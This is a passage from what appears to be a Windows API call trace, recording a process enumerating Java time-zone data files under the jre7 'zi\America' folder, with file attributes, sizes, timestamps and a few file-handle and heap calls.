cFileName="Paramaribo", cAlternateFileName="")) returned 1 [0088.562] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phoenix", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port-au-Prince", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Porto_Velho", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port_of_Spain", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Puerto_Rico", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rainy_River", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rankin_Inlet", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recife", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Regina", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resolute", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rio_Branco", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santarem", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santa_Isabel", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santiago", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santo_Domingo", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sao_Paulo", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scoresbysund", cAlternateFileName="")) returned 1 [0088.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sitka", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Johns", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Kitts", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Lucia", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Thomas", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Vincent", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swift_Current", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tegucigalpa", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thule", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thunder_Bay", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tijuana", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="Toronto", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tortola", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vancouver", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whitehorse", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winnipeg", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yakutat", cAlternateFileName="")) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellowknife", cAlternateFileName="")) returned 1 [0088.565] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellowknife", cAlternateFileName="")) returned 0 [0088.565] GetLastError () returned 0x12 [0088.565] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.565] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.565] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.565] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adak", cAlternateFileName="")) returned 1 [0088.565] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anchorage", cAlternateFileName="")) returned 1 [0088.565] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anguilla", cAlternateFileName="")) returned 1 [0088.565] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antigua", cAlternateFileName="")) returned 1 [0088.565] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Araguaina", cAlternateFileName="")) returned 1 [0088.565] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Argentina", cAlternateFileName="")) returned 1 [0088.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.567] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0088.567] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0088.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.567] NtClose (Handle=0x178) returned 0x0 [0088.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13264d8 [0088.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326560 [0088.568] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0088.570] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, 